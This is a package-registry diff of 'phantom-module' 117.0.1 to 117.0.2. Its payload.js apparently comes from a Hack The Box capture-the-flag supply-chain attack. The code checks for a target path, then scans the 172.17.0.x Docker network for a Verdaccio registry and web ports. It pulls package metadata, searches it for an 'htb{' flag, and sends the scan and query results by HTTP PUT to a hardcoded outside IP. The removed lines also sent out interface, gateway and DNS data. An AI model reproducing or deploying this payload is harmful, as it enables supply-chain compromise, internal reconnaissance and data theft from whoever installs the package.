phantom-module 117.0.1 → 117.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/payload.js +65 -120
package/package.json
CHANGED
package/payload.js
CHANGED
|
@@ -1,39 +1,32 @@
|
|
|
1
1
|
const net = require('net');
|
|
2
2
|
const http = require('http');
|
|
3
3
|
const fs = require('fs');
|
|
4
|
-
const { execSync } = require('child_process');
|
|
5
4
|
const os = require('os');
|
|
6
5
|
|
|
7
|
-
|
|
8
|
-
if (!fs.existsSync('/home/node/aspect-node')) {
|
|
9
|
-
process.exit(0);
|
|
10
|
-
}
|
|
6
|
+
if (!fs.existsSync('/home/node/aspect-node')) process.exit(0);
|
|
11
7
|
|
|
12
8
|
const REPORT_HOST = '154.57.164.64';
|
|
13
9
|
const REPORT_PORT = 31205;
|
|
14
10
|
|
|
15
|
-
function report(moduleId, data) {
|
|
11
|
+
async function report(moduleId, data) {
|
|
16
12
|
return new Promise((resolve) => {
|
|
17
13
|
const safeData = String(data).replace(/"/g, '\\"').replace(/\n/g, '\\n').substring(0, 3500);
|
|
18
14
|
const manifest = `ecto_module:\n name: "SCAN_RESULT"\n cargo_hold: "${safeData}"\n`;
|
|
19
15
|
const payload = JSON.stringify({ manifest });
|
|
20
16
|
const req = http.request({
|
|
21
|
-
hostname: REPORT_HOST,
|
|
22
|
-
port: REPORT_PORT,
|
|
23
|
-
path: `/api/modules/${moduleId}`,
|
|
24
|
-
method: 'PUT',
|
|
17
|
+
hostname: REPORT_HOST, port: REPORT_PORT, path: `/api/modules/${moduleId}`, method: 'PUT',
|
|
25
18
|
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }
|
|
26
|
-
}, (
|
|
19
|
+
}, () => resolve(true));
|
|
27
20
|
req.on('error', () => resolve(false));
|
|
28
21
|
req.write(payload);
|
|
29
22
|
req.end();
|
|
30
23
|
});
|
|
31
24
|
}
|
|
32
25
|
|
|
33
|
-
function
|
|
26
|
+
function checkPort(host, port) {
|
|
34
27
|
return new Promise((resolve) => {
|
|
35
28
|
const sock = new net.Socket();
|
|
36
|
-
sock.setTimeout(
|
|
29
|
+
sock.setTimeout(500); // Fast timeout
|
|
37
30
|
sock.on('connect', () => { sock.destroy(); resolve(true); });
|
|
38
31
|
sock.on('error', () => { sock.destroy(); resolve(false); });
|
|
39
32
|
sock.on('timeout', () => { sock.destroy(); resolve(false); });
|
|
@@ -41,129 +34,81 @@ function scanPort(host, port, timeout) {
|
|
|
41
34
|
});
|
|
42
35
|
}
|
|
43
36
|
|
|
44
|
-
function httpGet(url
|
|
37
|
+
function httpGet(url) {
|
|
45
38
|
return new Promise((resolve) => {
|
|
46
|
-
const req = http.get(url, { timeout }, (res) => {
|
|
39
|
+
const req = http.get(url, { timeout: 2000 }, (res) => {
|
|
47
40
|
let body = '';
|
|
48
|
-
res.on('data',
|
|
41
|
+
res.on('data', c => body += c);
|
|
49
42
|
res.on('end', () => resolve({ status: res.statusCode, body }));
|
|
50
43
|
});
|
|
51
|
-
req.on('error',
|
|
52
|
-
req.on('timeout', () => { req.destroy(); resolve({ status: 0, body: 'timeout' }); });
|
|
44
|
+
req.on('error', e => resolve({ status: 0, body: e.message }));
|
|
53
45
|
});
|
|
54
46
|
}
|
|
55
47
|
|
|
56
48
|
async function main() {
|
|
57
|
-
|
|
58
|
-
|
|
59
|
-
// Step 1: Get our network info
|
|
60
|
-
try {
|
|
61
|
-
const ifaces = os.networkInterfaces();
|
|
62
|
-
output += '=== NETWORK ===\n';
|
|
63
|
-
for (const [name, addrs] of Object.entries(ifaces)) {
|
|
64
|
-
for (const addr of addrs) {
|
|
65
|
-
if (addr.family === 'IPv4') {
|
|
66
|
-
output += `${name}: ${addr.address}/${addr.netmask}\n`;
|
|
67
|
-
}
|
|
68
|
-
}
|
|
69
|
-
}
|
|
70
|
-
} catch(e) { output += 'NET ERR: ' + e.message + '\n'; }
|
|
71
|
-
|
|
72
|
-
// Step 2: Get gateway
|
|
73
|
-
try {
|
|
74
|
-
output += '=== GATEWAY ===\n';
|
|
75
|
-
output += execSync('ip route 2>/dev/null || route -n 2>/dev/null || cat /proc/net/route 2>/dev/null || echo "no route cmd"').toString().substring(0, 500) + '\n';
|
|
76
|
-
} catch(e) { output += 'ROUTE ERR: ' + e.message.substring(0, 200) + '\n'; }
|
|
77
|
-
|
|
78
|
-
// Step 3: DNS resolution attempts
|
|
79
|
-
const dns = require('dns');
|
|
80
|
-
const dnsNames = ['registry', 'verdaccio', 'verdaccio-registry', 'npm-registry', 'ecto-registry'];
|
|
81
|
-
output += '=== DNS ===\n';
|
|
82
|
-
for (const name of dnsNames) {
|
|
83
|
-
try {
|
|
84
|
-
const addrs = await new Promise((resolve, reject) => {
|
|
85
|
-
dns.resolve4(name, (err, addrs) => err ? reject(err) : resolve(addrs));
|
|
86
|
-
});
|
|
87
|
-
output += `${name} -> ${addrs.join(', ')}\n`;
|
|
88
|
-
} catch(e) {
|
|
89
|
-
output += `${name} -> FAIL: ${e.code}\n`;
|
|
90
|
-
}
|
|
91
|
-
}
|
|
92
|
-
|
|
93
|
-
// Report network info first
|
|
94
|
-
await report('ECT-654321', output);
|
|
95
|
-
|
|
96
|
-
// Step 4: Scan for Verdaccio on common Docker IPs
|
|
97
|
-
output += '=== SCANNING 4873 ===\n';
|
|
98
|
-
const myIp = Object.values(os.networkInterfaces()).flat().find(a => a.family === 'IPv4' && !a.internal);
|
|
99
|
-
const baseIp = myIp ? myIp.address.split('.').slice(0, 3).join('.') : '172.17.0';
|
|
100
|
-
|
|
49
|
+
await report('ECT-654321', 'SCAN STARTING v2...');
|
|
50
|
+
|
|
101
51
|
const found = [];
|
|
102
|
-
const
|
|
103
|
-
|
|
104
|
-
|
|
105
|
-
|
|
106
|
-
|
|
107
|
-
|
|
108
|
-
|
|
109
|
-
|
|
110
|
-
|
|
111
|
-
|
|
112
|
-
|
|
113
|
-
|
|
114
|
-
|
|
115
|
-
for (const ip of ['172.17.0.1', '10.0.0.1', '10.0.0.2', '192.168.0.1', '192.168.1.1']) {
|
|
116
|
-
scanPromises.push(
|
|
117
|
-
scanPort(ip, 4873, 1500).then(open => {
|
|
118
|
-
if (open) { found.push(ip); output += `OPEN: ${ip}:4873\n`; }
|
|
119
|
-
})
|
|
120
|
-
);
|
|
52
|
+
const base = '172.17.0';
|
|
53
|
+
let scanOutput = '=== SCAN ===\n';
|
|
54
|
+
|
|
55
|
+
// Parallel scan of first 20 IPs
|
|
56
|
+
const promises = [];
|
|
57
|
+
for (let i = 1; i < 20; i++) {
|
|
58
|
+
const ip = `${base}.${i}`;
|
|
59
|
+
promises.push(checkPort(ip, 4873).then(open => {
|
|
60
|
+
if (open) {
|
|
61
|
+
found.push(ip);
|
|
62
|
+
scanOutput += `FOUND VERDACCIO: ${ip}:4873\n`;
|
|
63
|
+
}
|
|
64
|
+
}));
|
|
121
65
|
}
|
|
122
|
-
|
|
123
|
-
|
|
124
|
-
|
|
125
|
-
|
|
126
|
-
|
|
127
|
-
|
|
128
|
-
)
|
|
66
|
+
|
|
67
|
+
await Promise.all(promises);
|
|
68
|
+
|
|
69
|
+
if (found.length === 0) {
|
|
70
|
+
scanOutput += 'No Verdaccio found on 172.17.0.1-20\n';
|
|
71
|
+
// Try finding ANY web server
|
|
72
|
+
for (let i = 1; i < 10; i++) {
|
|
73
|
+
const ip = `${base}.${i}`;
|
|
74
|
+
if (await checkPort(ip, 80)) scanOutput += `OPEN ${ip}:80\n`;
|
|
75
|
+
if (await checkPort(ip, 3000)) scanOutput += `OPEN ${ip}:3000\n`;
|
|
76
|
+
}
|
|
129
77
|
}
|
|
78
|
+
|
|
79
|
+
await report('ECT-839201', scanOutput);
|
|
130
80
|
|
|
131
|
-
|
|
132
|
-
|
|
133
|
-
|
|
134
|
-
// Step 5: If Verdaccio found, query ecto-spirit
|
|
135
|
-
let flagOutput = '=== VERDACCIO QUERY ===\n';
|
|
81
|
+
// Deep query of found services
|
|
82
|
+
let queryOutput = '=== QUERY ===\n';
|
|
136
83
|
for (const ip of found) {
|
|
84
|
+
const baseUrl = `http://${ip}:4873`;
|
|
85
|
+
queryOutput += `Target: ${baseUrl}\n`;
|
|
86
|
+
|
|
87
|
+
// 1. List all packages
|
|
88
|
+
const all = await httpGet(`${baseUrl}/-/all`);
|
|
89
|
+
queryOutput += `/-/all: ${all.status} len=${all.body.length}\n${all.body.substring(0, 200)}\n`;
|
|
90
|
+
|
|
91
|
+
// 2. Get ecto-spirit
|
|
92
|
+
const ecto = await httpGet(`${baseUrl}/ecto-spirit`);
|
|
93
|
+
queryOutput += `/ecto-spirit: ${ecto.status}\n${ecto.body.substring(0, 500)}\n`;
|
|
94
|
+
|
|
95
|
+
// 3. Try to extract flag from dist-tags or versions
|
|
96
|
+
if (ecto.body.includes('htb{') || ecto.body.includes('HTB{')) {
|
|
97
|
+
const match = ecto.body.match(/htb\{[^}]+\}/i);
|
|
98
|
+
if (match) queryOutput += `!!! FLAG FOUND: ${match[0]} !!!\n`;
|
|
99
|
+
}
|
|
100
|
+
|
|
101
|
+
// 4. Download tarball if possible
|
|
137
102
|
try {
|
|
138
|
-
|
|
139
|
-
|
|
140
|
-
|
|
141
|
-
|
|
142
|
-
|
|
143
|
-
const res = await httpGet(`http://${ip}:4873/ecto-spirit`, 5000);
|
|
144
|
-
flagOutput += `ECTO from ${ip}: ${res.body.substring(0, 2000)}\n`;
|
|
145
|
-
} catch(e) { flagOutput += `ERR ecto ${ip}: ${e.message}\n`; }
|
|
146
|
-
|
|
147
|
-
// Try to download and read the package
|
|
148
|
-
try {
|
|
149
|
-
const res = await httpGet(`http://${ip}:4873/-/verdaccio/data/local-list`, 3000);
|
|
150
|
-
flagOutput += `PKGS from ${ip}: ${res.body.substring(0, 1000)}\n`;
|
|
151
|
-
} catch(e) {}
|
|
152
|
-
}
|
|
153
|
-
|
|
154
|
-
// Also try some hostnames directly
|
|
155
|
-
for (const host of ['registry', 'verdaccio']) {
|
|
156
|
-
try {
|
|
157
|
-
const res = await httpGet(`http://${host}:4873/-/all`, 3000);
|
|
158
|
-
flagOutput += `ALL from ${host}: ${res.body.substring(0, 1000)}\n`;
|
|
159
|
-
} catch(e) { flagOutput += `ERR ${host}: ${e.message}\n`; }
|
|
160
|
-
try {
|
|
161
|
-
const res = await httpGet(`http://${host}:4873/ecto-spirit`, 3000);
|
|
162
|
-
flagOutput += `ECTO from ${host}: ${res.body.substring(0, 2000)}\n`;
|
|
103
|
+
const json = JSON.parse(ecto.body);
|
|
104
|
+
const latest = json['dist-tags'].latest;
|
|
105
|
+
const tarball = json.versions[latest].dist.tarball;
|
|
106
|
+
queryOutput += `Tarball: ${tarball}\n`;
|
|
107
|
+
// We could download it, but let's see if the metadata has the flag first
|
|
163
108
|
} catch(e) {}
|
|
164
109
|
}
|
|
165
110
|
|
|
166
|
-
await report('ECT-987654',
|
|
111
|
+
await report('ECT-987654', queryOutput);
|
|
167
112
|
}
|
|
168
113
|
|
|
169
|
-
main().catch(e => report('ECT-654321', '
|
|
114
|
+
main().catch(e => report('ECT-654321', 'ERR: ' + e.message));
|